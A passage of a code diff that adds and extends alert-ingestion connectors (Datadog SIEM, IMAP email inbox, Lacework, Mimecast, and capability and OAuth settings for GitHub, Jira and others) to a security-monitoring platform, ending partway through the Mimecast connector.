+ async with httpx.AsyncClient(timeout=15.0) as client:
+ resp = await client.get(
+ f"{self._base}/api/v2/security_monitoring/signals",
+ headers=self._headers(),
+ params={"page[limit]": 1},
+ )
+ if resp.status_code == 200:
+ return {
+ "success": True,
+ "connector": self.connector_id,
+ "site": self._site,
+ }
+ return {
+ "success": False,
+ "connector": self.connector_id,
+ "error": f"HTTP {resp.status_code}: {resp.text[:300]}",
+ }
+ except Exception as exc:
+ return {"success": False, "connector": self.connector_id, "error": str(exc)}
+
+ async def fetch_alerts(self, since_seconds: int = 300) -> list[dict[str, Any]]:
+ since = (
+ datetime.now(UTC) - timedelta(seconds=since_seconds)
+ ).strftime("%Y-%m-%dT%H:%M:%SZ")
+ try:
+ async with httpx.AsyncClient(timeout=30.0) as client:
+ resp = await client.get(
+ f"{self._base}/api/v2/security_monitoring/signals",
+ headers=self._headers(),
+ params={
+ "filter[from]": since,
+ "page[limit]": 100,
+ "sort": "-timestamp",
+ },
+ )
+ if resp.status_code != 200:
+ logger.warning(
+ "datadog_cloud_siem.fetch_failed",
+ status=resp.status_code,
+ body=resp.text[:300],
+ )
+ return []
+ items = (resp.json() or {}).get("data") or []
+ return [self.normalize(i) for i in items]
+ except Exception as exc:
+ logger.warning("datadog_cloud_siem.fetch_exception", error=str(exc))
+ return []
+
+ def normalize(self, raw: dict[str, Any]) -> dict[str, Any]:
+ attrs = raw.get("attributes") or {}
+ sev_raw = (attrs.get("severity") or "").lower()
+ sev = sev_raw if sev_raw in ("info", "low", "medium", "high") else "medium"
+ if sev_raw == "critical":
+ sev = "high"
+ title = attrs.get("title") or attrs.get("message") or "Datadog security signal"
+ return {
+ "source": "datadog_cloud_siem",
+ "category": "siem",
+ "severity": sev,
+ "title": title,
+ "description": attrs.get("message"),
+ "alert_id": raw.get("id"),
+ "host": None,
+ "raw": raw,
+ }
diff --git a/services/connectors/app/connectors/duo_security.py b/services/connectors/app/connectors/duo_security.py
index b4bc1af8e..d0ab70022 100644
--- a/services/connectors/app/connectors/duo_security.py
+++ b/services/connectors/app/connectors/duo_security.py
@@ -16,7 +16,7 @@ from typing import Any
import httpx
import structlog
-from app.connectors.base import BaseConnector, ConnectorSchema, Field
+from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field
logger = structlog.get_logger()
@@ -46,6 +46,11 @@ class DuoSecurityConnector(BaseConnector):
],
)
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ # Duo authentication logs are an audit feed (who logged in from where).
+ return (Capability.PULL_AUDIT,)
+
def __init__(self, integration_key: str, secret_key: str, api_hostname: str):
self._ikey = integration_key
self._skey = secret_key
diff --git a/services/connectors/app/connectors/elastic.py b/services/connectors/app/connectors/elastic.py
index f21bf8fad..153ad17cf 100644
--- a/services/connectors/app/connectors/elastic.py
+++ b/services/connectors/app/connectors/elastic.py
@@ -21,7 +21,7 @@ from typing import Any
import httpx
import structlog
-from app.connectors.base import BaseConnector, ConnectorSchema, Field
+from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field
from app.federated.query import UnifiedQuery
from app.federated.translators import to_esql
@@ -71,6 +71,12 @@ class ElasticConnector(BaseConnector):
],
)
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ # Elastic SIEM exposes detection alerts plus an ES|QL search surface
+ # we federate against — the latter maps cleanly to QUERY_LOGS.
+ return (Capability.PULL_ALERTS, Capability.QUERY_LOGS)
+
def __init__(
self,
base_url: str,
diff --git a/services/connectors/app/connectors/email_inbox.py b/services/connectors/app/connectors/email_inbox.py
new file mode 100644
index 000000000..c5e2a0985
--- /dev/null
+++ b/services/connectors/app/connectors/email_inbox.py
@@ -0,0 +1,367 @@
+"""
+Email Inbox connector — IMAP-polling pair for ``/v1/inbox/email``.
+
+This connector exists because not every vendor will integrate with our
+push endpoint, but almost every vendor on earth knows how to email an
+alert. We expose two complementary surfaces:
+
+ * ``POST /v1/inbox/email/{tenant_token}`` — webhook endpoint that
+ accepts inbound email from Mailgun / SES Inbound / SendGrid Inbound
+ Parse. The vendor (or the customer's mail provider) pushes parsed
+ emails directly to us. Lowest latency, no polling cost.
+
+ * This connector — last-resort path for customers who can't (or won't)
+ set up an inbound webhook. They forward alerts to a dedicated mailbox
+ we can read over IMAP, and this poller pulls the unread messages,
+ converts them to the same JSON shape that ``/v1/inbox/email`` would
+ have received, and forwards them to the ingest service.
+
+Rules of engagement:
+ * The poller only reads UNSEEN messages. It marks them as ``\\Seen``
+ after enqueueing so the next poll doesn't double-process them.
+ * On any error during IMAP fetch, we leave the message ``\\Unseen``
+ so we retry on the next poll. The downside is a poison message can
+ block forever — ack that with a future ``move-to-failed-folder``
+ knob if it bites.
+ * We only read the most recent ``max_messages`` messages per poll to
+ bound memory for forgotten mailboxes that have accumulated thousands
+ of unread emails.
+"""
+
+from __future__ import annotations
+
+import asyncio
+import email
+import imaplib
+import ssl
+from email.message import Message
+from email.utils import parsedate_to_datetime
+from typing import Any
+
+import structlog
+
+from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field
+
+logger = structlog.get_logger()
+
+
+# Cap how much of a message body we pull in. Real-world alert emails are
+# under 64 KB; anything bigger is almost certainly a non-alert (newsletter,
+# legal disclaimer footer, etc.) and we'd rather drop characters than
+# blow up the ingest pipeline with a 25 MB attachment.
+_MAX_BODY_BYTES = 256 * 1024
+
+
+class EmailInboxConnector(BaseConnector):
+ """IMAP-polling sibling of ``/v1/inbox/email/{tenant_token}``.
+
+ The connector treats each unread email in the configured mailbox as
+ one normalized event. The body is left as text — the ingest side's
+ ``email-forwarded`` template extracts subject / sender / received-at
+ into OCSF fields downstream.
+ """
+
+ connector_id = "email_inbox"
+ connector_name = "Email Inbox (IMAP)"
+ connector_category = "saas"
+
+ @classmethod
+ def schema(cls) -> ConnectorSchema:
+ return ConnectorSchema(
+ connector_id=cls.connector_id,
+ connector_name=cls.connector_name,
+ category=cls.connector_category,
+ description=(
+ "Poll a mailbox over IMAP and ingest each forwarded alert "
+ "email as an event. Pairs with the /v1/inbox/email webhook "
+ "for environments that cannot push directly."
+ ),
+ docs_url="/docs/connectors/email-inbox",
+ fields=[
+ Field(
+ "host",
+ "string",
+ "IMAP host",
+ placeholder="imap.gmail.com",
+ ),
+ Field(
+ "port",
+ "number",
+ "IMAP port",
+ required=False,
+ default=993,
+ help_text="Defaults to 993 (IMAPS).",
+ ),
+ Field(
+ "username",
+ "string",
+ "Username",
+ placeholder="[email protected]",
+ ),
+ Field(
+ "password",
+ "secret",
+ "Password / App Password",
+ help_text=(
+ "Use an app-specific password for Gmail / Outlook. "
+ "Never your primary account password."
+ ),
+ ),
+ Field(
+ "mailbox",
+ "string",
+ "Mailbox / folder",
+ required=False,
+ default="INBOX",
+ ),
+ Field(
+ "max_messages",
+ "number",
+ "Max messages per poll",
+ required=False,
+ default=50,
+ help_text=(
+ "Cap how many unread messages we pull per poll. "
+ "Older unread messages will still arrive — they'll "
+ "just take more polls to drain."
+ ),
+ ),
+ Field(
+ "use_ssl",
+ "boolean",
+ "Use SSL (IMAPS)",
+ required=False,
+ default=True,
+ ),
+ ],
+ )
+
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ # Pure read — we just pull alerts the user forwarded to us.
+ return (Capability.PULL_ALERTS,)
+
+ def __init__(
+ self,
+ host: str,
+ username: str,
+ password: str,
+ port: int | str = 993,
+ mailbox: str = "INBOX",
+ max_messages: int | str = 50,
+ use_ssl: bool | str = True,
+ ) -> None:
+ self._host = host
+ self._port = int(port)
+ self._username = username
+ self._password = password
+ self._mailbox = mailbox or "INBOX"
+ self._max_messages = max(1, int(max_messages))
+ # Boolean fields can arrive as JSON true/false or as the strings
+ # "true"/"false" depending on how the wizard form serialised them.
+ if isinstance(use_ssl, str):
+ self._use_ssl = use_ssl.strip().lower() in ("1", "true", "yes", "on")
+ else:
+ self._use_ssl = bool(use_ssl)
+
+ # ------------------------------------------------------------------
+ # IMAP plumbing — sync code wrapped in ``asyncio.to_thread`` because
+ # ``imaplib`` doesn't have an async story and we don't want to pull
+ # in a heavier dependency for one connector.
+ # ------------------------------------------------------------------
+
+ def _open(self) -> imaplib.IMAP4 | imaplib.IMAP4_SSL:
+ if self._use_ssl:
+ ctx = ssl.create_default_context()
+ client: imaplib.IMAP4 | imaplib.IMAP4_SSL = imaplib.IMAP4_SSL(
+ self._host, self._port, ssl_context=ctx
+ )
+ else:
+ client = imaplib.IMAP4(self._host, self._port)
+ client.login(self._username, self._password)
+ return client
+
+ @staticmethod
+ def _decode_subject(msg: Message) -> str:
+ from email.header import decode_header, make_header
+
+ raw = msg.get("Subject") or ""
+ try:
+ return str(make_header(decode_header(raw)))
+ except Exception: # noqa: BLE001 — best-effort decode
+ return raw
+
+ @staticmethod
+ def _extract_text(msg: Message) -> str:
+ """Return the plaintext body of the message, or empty string.
+
+ We prefer ``text/plain`` parts; fall back to stripped ``text/html``
+ only if no plaintext exists. Real-world alert emails almost always
+ provide a plaintext alternative, so this rarely matters.
+ """
+ text_parts: list[str] = []
+ html_parts: list[str] = []
+
+ if msg.is_multipart():
+ for part in msg.walk():
+ ctype = part.get_content_type()
+ disp = (part.get("Content-Disposition") or "").lower()
+ if "attachment" in disp:
+ continue
+ payload = part.get_payload(decode=True)
+ if payload is None:
+ continue
+ charset = part.get_content_charset() or "utf-8"
+ try:
+ decoded = payload.decode(charset, errors="replace")
+ except (LookupError, UnicodeDecodeError):
+ decoded = payload.decode("utf-8", errors="replace")
+ if ctype == "text/plain":
+ text_parts.append(decoded)
+ elif ctype == "text/html":
+ html_parts.append(decoded)
+ else:
+ payload = msg.get_payload(decode=True)
+ if payload is not None:
+ charset = msg.get_content_charset() or "utf-8"
+ try:
+ text_parts.append(payload.decode(charset, errors="replace"))
+ except (LookupError, UnicodeDecodeError):
+ text_parts.append(payload.decode("utf-8", errors="replace"))
+
+ body = "\n\n".join(p.strip() for p in text_parts if p)
+ if not body and html_parts:
+ # Cheap HTML strip — no external dep. Ingest side's template
+ # only cares about subject / sender / received-at, so the
+ # body fidelity isn't critical.
+ from html import unescape
+ import re
+
+ stripped = re.sub(r"<[^>]+>", " ", html_parts[0])
+ body = unescape(re.sub(r"\s+", " ", stripped)).strip()
+
+ if len(body) > _MAX_BODY_BYTES:
+ body = body[:_MAX_BODY_BYTES]
+ return body
+
+ def _fetch_sync(self) -> list[dict[str, Any]]:
+ client = self._open()
+ try:
+ # ``readonly=False`` so we can mark messages as ``\\Seen`` after
+ # we've successfully enqueued them.
+ typ, _ = client.select(self._mailbox, readonly=False)
+ if typ != "OK":
+ raise RuntimeError(f"failed to select mailbox {self._mailbox!r}")
+
+ typ, data = client.search(None, "UNSEEN")
+ if typ != "OK":
+ raise RuntimeError("IMAP SEARCH UNSEEN failed")
+ ids_raw = data[0].split() if data and data[0] else []
+ # Most-recent first — last UID is usually newest.
+ ids = list(reversed(ids_raw))[: self._max_messages]
+
+ out: list[dict[str, Any]] = []
+ for uid in ids:
+ try:
+ typ, fetched = client.fetch(uid, "(RFC822)")
+ if typ != "OK" or not fetched or not fetched[0]:
+ continue
+ raw_bytes = fetched[0][1]
+ if not isinstance(raw_bytes, (bytes, bytearray)):
+ continue
+ msg = email.message_from_bytes(raw_bytes)
+ out.append(self._to_event(msg))
+ # Mark seen only after we've successfully built the
+ # event payload. If we fail mid-loop the message will
+ # show up again on the next poll.
+ client.store(uid, "+FLAGS", "\\Seen")
+ except Exception as exc: # noqa: BLE001
+ logger.warning(
+ "email_inbox.fetch.message_failed",
+ uid=uid.decode("utf-8", errors="replace"),
+ error=str(exc),
+ )
+ return out
+ finally:
+ try:
+ client.close()
+ except Exception: # noqa: BLE001
+ pass
+ try:
+ client.logout()
+ except Exception: # noqa: BLE001
+ pass
+
+ def _to_event(self, msg: Message) -> dict[str, Any]:
+ """Convert a ``Message`` to the JSON shape ``email-forwarded`` expects.
+
+ The ingest-side ``email-forwarded.yaml`` template reads
+ ``subject`` / ``from`` / ``received_at`` / ``body`` keys, so we
+ emit exactly that shape. Keep this aligned with that template.
+ """
+ received_at: str | None = None
+ date_hdr = msg.get("Date")
+ if date_hdr:
+ try:
+ received_at = parsedate_to_datetime(date_hdr).isoformat()
+ except (TypeError, ValueError):
+ received_at = None
+
+ return {
+ "subject": self._decode_subject(msg),
+ "from": msg.get("From") or "",
+ "to": msg.get("To") or "",
+ "received_at": received_at,
+ "message_id": msg.get("Message-ID") or "",
+ "body": self._extract_text(msg),
+ }
+
+ # ------------------------------------------------------------------
+ # BaseConnector contract.
+ # ------------------------------------------------------------------
+
+ async def test_connection(self) -> dict[str, Any]:
+ def _probe() -> dict[str, Any]:
+ client = self._open()
+ try:
+ typ, _ = client.select(self._mailbox, readonly=True)
+ if typ != "OK":
+ return {
+ "success": False,
+ "connector": self.connector_id,
+ "error": f"cannot select mailbox {self._mailbox!r}",
+ }
+ return {"success": True, "connector": self.connector_id}
+ finally:
+ try:
+ client.logout()
+ except Exception: # noqa: BLE001
+ pass
+
+ try:
+ return await asyncio.to_thread(_probe)
+ except Exception as exc: # noqa: BLE001
+ logger.warning("email_inbox.test_connection.failed", error=str(exc))
+ return {
+ "success": False,
+ "connector": self.connector_id,
+ "error": str(exc),
+ }
+
+ async def fetch_alerts(self, since_seconds: int = 300) -> list[dict[str, Any]]:
+ # ``since_seconds`` is ignored: IMAP ``SEARCH UNSEEN`` is its own
+ # form of "what changed since last time" and is more accurate
+ # than a date filter (which would re-fetch already-processed
+ # messages every poll).
+ del since_seconds
+ try:
+ events = await asyncio.to_thread(self._fetch_sync)
+ except Exception as exc: # noqa: BLE001
+ logger.warning("email_inbox.fetch_alerts.failed", error=str(exc))
+ return []
+ return [self.normalize(e) for e in events]
+
+ def normalize(self, raw: dict[str, Any]) -> dict[str, Any]:
+ # The ingest side's template handles vendor-specific extraction;
+ # we only need to surface the email envelope in a stable shape.
+ return raw
diff --git a/services/connectors/app/connectors/gcp_cloud_audit.py b/services/connectors/app/connectors/gcp_cloud_audit.py
index f20bbf9ce..15ff9d233 100644
--- a/services/connectors/app/connectors/gcp_cloud_audit.py
+++ b/services/connectors/app/connectors/gcp_cloud_audit.py
@@ -35,7 +35,7 @@ import structlog
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import padding
-from app.connectors.base import BaseConnector, ConnectorSchema, Field, OAuthHints
+from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field, OAuthHints
logger = structlog.get_logger()
@@ -96,6 +96,11 @@ class GCPCloudAuditConnector(BaseConnector):
),
)
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ # Cloud Audit Logs are GCP's control-plane audit trail.
+ return (Capability.PULL_AUDIT,)
+
def __init__(self, project_id: str, service_account_json: str):
self._project_id = project_id
self._sa_info = self._parse_sa(service_account_json)
diff --git a/services/connectors/app/connectors/gcp_scc.py b/services/connectors/app/connectors/gcp_scc.py
index dad0aea8f..a82c163eb 100644
--- a/services/connectors/app/connectors/gcp_scc.py
+++ b/services/connectors/app/connectors/gcp_scc.py
@@ -30,7 +30,7 @@ import structlog
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import padding
-from app.connectors.base import BaseConnector, ConnectorSchema, Field, OAuthHints
+from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field, OAuthHints
logger = structlog.get_logger()
@@ -91,6 +91,11 @@ class GCPSCCConnector(BaseConnector):
),
)
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ # Security Command Center surfaces cross-product GCP findings.
+ return (Capability.PULL_ALERTS,)
+
def __init__(self, organization_id: str, service_account_json: str):
self._organization_id = organization_id
self._sa_info = self._parse_sa(service_account_json)
diff --git a/services/connectors/app/connectors/github.py b/services/connectors/app/connectors/github.py
index 24aa7f2b1..670638beb 100644
--- a/services/connectors/app/connectors/github.py
+++ b/services/connectors/app/connectors/github.py
@@ -27,7 +27,7 @@ from typing import Any
import httpx
import structlog
-from app.connectors.base import BaseConnector, ConnectorSchema, Field, OAuthHints
+from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field, OAuthHints
logger = structlog.get_logger()
@@ -72,14 +72,24 @@ class GitHubConnector(BaseConnector):
),
),
],
+ # Hosted OAuth (Workstream 2): GitHub supports OAuth 2.0 for
+ # both OAuth Apps and GitHub Apps. We use the OAuth App flow
+ # because it's the simpler one — operators register an OAuth
+ # app in their org settings, paste client_id + client_secret
+ # into the per-tenant vault, and we drive the round-trip.
oauth=OAuthHints(
- supported_in_hosted=False,
+ supported_in_hosted=True,
authorize_url="https://github.com/login/oauth/authorize",
token_url="https://github.com/login/oauth/access_token",
- scopes=["read:audit_log", "security_events"],
+ scopes=["read:audit_log", "security_events", "repo"],
),
)
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ # GitHub org audit log + code-scanning / secret-scanning alerts.
+ return (Capability.PULL_AUDIT, Capability.PULL_ALERTS)
+
def __init__(self, organization: str, token: str):
self._org = organization
self._token = token
diff --git a/services/connectors/app/connectors/google_workspace.py b/services/connectors/app/connectors/google_workspace.py
index 70b12ee25..ec20aabae 100644
--- a/services/connectors/app/connectors/google_workspace.py
+++ b/services/connectors/app/connectors/google_workspace.py
@@ -32,7 +32,7 @@ import structlog
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import padding
-from app.connectors.base import BaseConnector, ConnectorSchema, Field, OAuthHints
+from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field, OAuthHints
logger = structlog.get_logger()
@@ -96,6 +96,11 @@ class GoogleWorkspaceConnector(BaseConnector):
),
)
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ # Google Workspace Reports API — admin/login/drive/etc. audit activities.
+ return (Capability.PULL_AUDIT,)
+
def __init__(self, admin_email: str, service_account_json: str):
self._admin_email = admin_email
self._sa_info = self._parse_sa(service_account_json)
diff --git a/services/connectors/app/connectors/jira_connector.py b/services/connectors/app/connectors/jira_connector.py
index 36efee77b..c69f2ae09 100644
--- a/services/connectors/app/connectors/jira_connector.py
+++ b/services/connectors/app/connectors/jira_connector.py
@@ -12,7 +12,7 @@ from typing import Any
import httpx
import structlog
-from app.connectors.base import BaseConnector, ConnectorSchema, Field
+from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field, OAuthHints
logger = structlog.get_logger()
@@ -48,8 +48,31 @@ class JiraConnector(BaseConnector):
Field("email", "string", "Email"),
Field("api_token", "secret", "API Token"),
],
+ # Hosted OAuth (Workstream 2): Atlassian 3LO. We map a Jira
+ # Cloud site to the {site_id} placeholder by hitting the
+ # accessible-resources endpoint after the token exchange.
+ # Atlassian mandates PKCE + the audience=api.atlassian.com
+ # parameter; the /oauth/start handler injects both.
+ oauth=OAuthHints(
+ supported_in_hosted=True,
+ authorize_url="https://auth.atlassian.com/authorize",
+ token_url="https://auth.atlassian.com/oauth/token",
+ scopes=[
+ "read:jira-work",
+ "read:jira-user",
+ "write:jira-work",
+ "manage:jira-webhook",
+ "offline_access",
+ ],
+ ),
)
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ # Today the Jira connector only pulls security-tagged issues as alerts.
+ # Bidirectional ticketing (PUSH_CASE / PUSH_STATUS) lands in WS8.
+ return (Capability.PULL_ALERTS,)
+
def __init__(self, base_url: str, email: str, api_token: str):
self._base_url = base_url.rstrip("/")
self._email = email
diff --git a/services/connectors/app/connectors/lacework.py b/services/connectors/app/connectors/lacework.py
new file mode 100644
index 000000000..27261b0b4
--- /dev/null
+++ b/services/connectors/app/connectors/lacework.py
@@ -0,0 +1,183 @@
+"""
+Lacework cloud security platform connector.
+
+Lacework's API uses an account-scoped subdomain plus an Access Key ID +
+Secret. Auth is OAuth-style: POST to /api/v2/access/tokens with the
+credentials, then bearer the returned token. The schema captures only
+the long-lived credentials; runtime exchanges them for short-lived
+bearer tokens.
+"""
+
+from __future__ import annotations
+
+from datetime import UTC, datetime, timedelta
+from typing import Any
+
+import httpx
+import structlog
+
+from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field
+
+logger = structlog.get_logger()
+
+
+class LaceworkConnector(BaseConnector):
+ """Lacework cloud security."""
+
+ connector_id = "lacework"
+ connector_name = "Lacework"
+ connector_category = "cloud"
+
+ @classmethod
+ def schema(cls) -> ConnectorSchema:
+ return ConnectorSchema(
+ connector_id=cls.connector_id,
+ connector_name=cls.connector_name,
+ category=cls.connector_category,
+ description=(
+ "Lacework cloud security platform. Pulls alerts (events) and "
+ "supports compliance / configuration query."
+ ),
+ docs_url="/docs/connectors/lacework",
+ fields=[
+ Field(
+ "account",
+ "string",
+ "Account subdomain",
+ placeholder="yourcorp",
+ help_text=(
+ "First label of your Lacework console URL: "
+ "https://<account>.lacework.net"
+ ),
+ ),
+ Field(
+ "subaccount",
+ "string",
+ "Subaccount (optional)",
+ placeholder="prod",
+ required=False,
+ ),
+ Field("key_id", "string", "Access Key ID"),
+ Field("secret", "secret", "Secret Key"),
+ ],
+ )
+
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ return (
+ Capability.PULL_ALERTS,
+ Capability.QUERY_LOGS,
+ Capability.PIVOT_HOST,
+ Capability.PIVOT_IP,
+ Capability.ENRICH_VULN,
+ )
+
+ def __init__(
+ self,
+ account: str,
+ key_id: str,
+ secret: str,
+ subaccount: str | None = None,
+ ):
+ self._account = account
+ self._sub = subaccount
+ self._key_id = key_id
+ self._secret = secret
+ self._base = f"https://{account}.lacework.net"
+
+ async def _bearer(self) -> str | None:
+ try:
+ async with httpx.AsyncClient(timeout=15.0) as client:
+ resp = await client.post(
+ f"{self._base}/api/v2/access/tokens",
+ headers={
+ "X-LW-UAKS": self._secret,
+ "Content-Type": "application/json",
+ },
+ json={"keyId": self._key_id, "expiryTime": 3600},
+ )
+ if resp.status_code == 201:
+ return (resp.json() or {}).get("token")
+ logger.warning(
+ "lacework.token_failed",
+ status=resp.status_code,
+ body=resp.text[:300],
+ )
+ return None
+ except Exception as exc:
+ logger.warning("lacework.token_exception", error=str(exc))
+ return None
+
+ def _headers(self, token: str) -> dict[str, str]:
+ h = {
+ "Authorization": f"Bearer {token}",
+ "Accept": "application/json",
+ "Content-Type": "application/json",
+ }
+ if self._sub:
+ h["Account-Name"] = self._sub
+ return h
+
+ async def test_connection(self) -> dict[str, Any]:
+ token = await self._bearer()
+ if not token:
+ return {
+ "success": False,
+ "connector": self.connector_id,
+ "error": "could not exchange access keys for bearer token",
+ }
+ return {
+ "success": True,
+ "connector": self.connector_id,
+ "account": self._account,
+ }
+
+ async def fetch_alerts(self, since_seconds: int = 300) -> list[dict[str, Any]]:
+ token = await self._bearer()
+ if not token:
+ return []
+ end = datetime.now(UTC)
+ start = end - timedelta(seconds=since_seconds)
+ try:
+ async with httpx.AsyncClient(timeout=30.0) as client:
+ resp = await client.get(
+ f"{self._base}/api/v2/Alerts",
+ headers=self._headers(token),
+ params={
+ "startTime": start.strftime("%Y-%m-%dT%H:%M:%SZ"),
+ "endTime": end.strftime("%Y-%m-%dT%H:%M:%SZ"),
+ },
+ )
+ if resp.status_code != 200:
+ logger.warning(
+ "lacework.fetch_failed",
+ status=resp.status_code,
+ body=resp.text[:300],
+ )
+ return []
+ items = (resp.json() or {}).get("data") or []
+ return [self.normalize(i) for i in items]
+ except Exception as exc:
+ logger.warning("lacework.fetch_exception", error=str(exc))
+ return []
+
+ def normalize(self, raw: dict[str, Any]) -> dict[str, Any]:
+ sev_raw = (raw.get("severity") or "").lower()
+ if sev_raw in ("critical",):
+ sev = "high"
+ elif sev_raw in ("info", "low", "medium", "high"):
+ sev = sev_raw
+ else:
+ sev = "medium"
+ return {
+ "source": "lacework",
+ "category": "cloud",
+ "severity": sev,
+ "title": raw.get("alertName") or raw.get("name") or "Lacework alert",
+ "description": raw.get("alertInfo", {}).get("description")
+ if isinstance(raw.get("alertInfo"), dict)
+ else None,
+ "alert_id": raw.get("alertId") or raw.get("id"),
+ "host": None,
+ "raw": raw,
+ }
diff --git a/services/connectors/app/connectors/m365_audit.py b/services/connectors/app/connectors/m365_audit.py
index fbe70650d..97fd8d134 100644
--- a/services/connectors/app/connectors/m365_audit.py
+++ b/services/connectors/app/connectors/m365_audit.py
@@ -30,7 +30,7 @@ from typing import Any
import httpx
import structlog
-from app.connectors.base import BaseConnector, ConnectorSchema, Field, OAuthHints
+from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field, OAuthHints
logger = structlog.get_logger()
@@ -85,6 +85,11 @@ class M365AuditConnector(BaseConnector):
),
)
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ # Microsoft 365 Unified Audit Log — control-plane / mailbox audit events.
+ return (Capability.PULL_AUDIT,)
+
def __init__(self, tenant_id: str, client_id: str, client_secret: str):
self._tenant_id = tenant_id
self._client_id = client_id
diff --git a/services/connectors/app/connectors/microsoft_sentinel.py b/services/connectors/app/connectors/microsoft_sentinel.py
index b29f340b8..87305c2c8 100644
--- a/services/connectors/app/connectors/microsoft_sentinel.py
+++ b/services/connectors/app/connectors/microsoft_sentinel.py
@@ -11,7 +11,7 @@ from typing import Any
import httpx
import structlog
-from app.connectors.base import BaseConnector, ConnectorSchema, Field
+from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field
from app.federated.query import UnifiedQuery
from app.federated.translators import to_kql
@@ -46,6 +46,11 @@ class MicrosoftSentinelConnector(BaseConnector):
],
)
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ # Microsoft Sentinel — incidents (alerts) plus KQL search over the workspace.
+ return (Capability.PULL_ALERTS, Capability.QUERY_LOGS)
+
def __init__(
self,
tenant_id: str,
diff --git a/services/connectors/app/connectors/mimecast.py b/services/connectors/app/connectors/mimecast.py
new file mode 100644
index 000000000..caacaab51
--- /dev/null
+++ b/services/connectors/app/connectors/mimecast.py
@@ -0,0 +1,160 @@
+"""
+Mimecast email security connector.
+
+Mimecast's classic API uses signed requests with App Key + Access Key +
+Secret Key. The newer 2.0 API uses Bearer tokens via OAuth client
+credentials. We expose the 2.0 client_id / client_secret pair, which
+keeps schema simple and matches the path Mimecast steers customers
+toward post-2024.
+"""
+
+from __future__ import annotations
+
+from datetime import UTC, datetime, timedelta
+from typing import Any
+
+import httpx
+import structlog
+
+from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field
+
+logger = structlog.get_logger()
+
+
+class MimecastConnector(BaseConnector):
+ """Mimecast (Email Security 2.0 API)."""
+
+ connector_id = "mimecast"
+ connector_name = "Mimecast"
+ connector_category = "saas"
+
+ @classmethod
+ def schema(cls) -> ConnectorSchema:
+ return ConnectorSchema(
+ connector_id=cls.connector_id,
+ connector_name=cls.connector_name,
+ category=cls.connector_category,
+ description=(
+ "Mimecast Email Security 2.0 API. Pulls held messages, SIEM "
+ "events, and URL protect verdicts as alerts."
+ ),
+ docs_url="/docs/connectors/mimecast",
+ fields=[
+ Field(
+ "region",
+ "select",
+ "Region",
+ options=[
+ {"value": "us", "label": "United States"},
+ {"value": "eu", "label": "Europe"},
+ {"value": "de", "label": "Germany"},
+ {"value": "au", "label": "Australia"},
+ {"value": "za", "label": "South Africa"},
+ {"value": "uk", "label": "United Kingdom"},
+ ],
+ ),
+ Field("client_id", "string", "Client ID"),
+ Field("client_secret", "secret", "Client Secret"),
+ ],
+ )
+
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ return (
+ Capability.PULL_ALERTS,
+ Capability.PULL_AUDIT,
+ Capability.PIVOT_USER,
+ Capability.ENRICH_DOMAIN,
+ )
+
+ def __init__(self, region: str, client_id: str, client_secret: str):
+ # Mimecast 2.0 uses a single api.services.mimecast.com endpoint;
+ # region is informational for now (used for support/UI).
+ self._region = region
+ self._client_id = client_id
+ self._client_secret = client_secret
+ self._base = "https://api.services.mimecast.com"
+
+ async def _bearer(self) -> str | None:
+ try:
+ async with httpx.AsyncClient(timeout=15.0) as client:
+ resp = await client.post(
+ f"{self._base}/oauth/token",
+ data={
+ "grant_type": "client_credentials",
+ "client_id": self._client_id,
+ "client_secret": self._client_secret,
+ },
+ headers={"Content-Type": "application/x-www-form-urlencoded"},
+ )
+ if resp.status_code == 200:
+ return (resp.json() or {}).get("access_token")
+ logger.warning(
+ "mimecast.token_failed",
+ status=resp.status_code,
+ body=resp.text[:300],
+ )
+ return None
+ except Exception as exc:
+ logger.warning("mimecast.token_exception", error=str(exc))
+ return None
+
+ async def test_connection(self) -> dict[str, Any]:
+ token = await self._bearer()
+ if not token:
+ return {
+ "success": False,
+ "connector": self.connector_id,
+ "error": "could not exchange client credentials for bearer",
+ }
+ return {
+ "success": True,
+ "connector": self.connector_id,
+ "region": self._region,
+ }
+
+ async def fetch_alerts(self, since_seconds: int = 300) -> list[dict[str, Any]]:
+ token = await self._bearer()
+ if not token:
+ return []
+ end = datetime.now(UTC)
+ start = end - timedelta(seconds=since_seconds)
+ try:
+ async with httpx.AsyncClient(timeout=30.0) as client:
+ resp = await client.get(
+ f"{self._base}/api/ttp/url/get-logs",
+ headers={
+ "Authorization": f"Bearer {token}",
+ "Accept": "application/json",
+ },
+ params={
+ "from": start.strftime("%Y-%m-%dT%H:%M:%S+0000"),
+ "to": end.strftime("%Y-%m-%dT%H:%M:%S+0000"),
+ },
+ )
+ if resp.status_code != 200:
+ logger.warning(
+ "mimecast.fetch_failed",
+ status=resp.status_code,
+ body=resp.text[:300],
+ )
+ return []
+ items = (resp.json() or {}).get("data") or []
+ return [self.normalize(i) for i in items]
+ except Exception as exc:
+ logger.warning("mimecast.fetch_exception", error=str(exc))
+ return []
+
+ def normalize(self, raw: dict[str, Any]) -> dict[str, Any]:
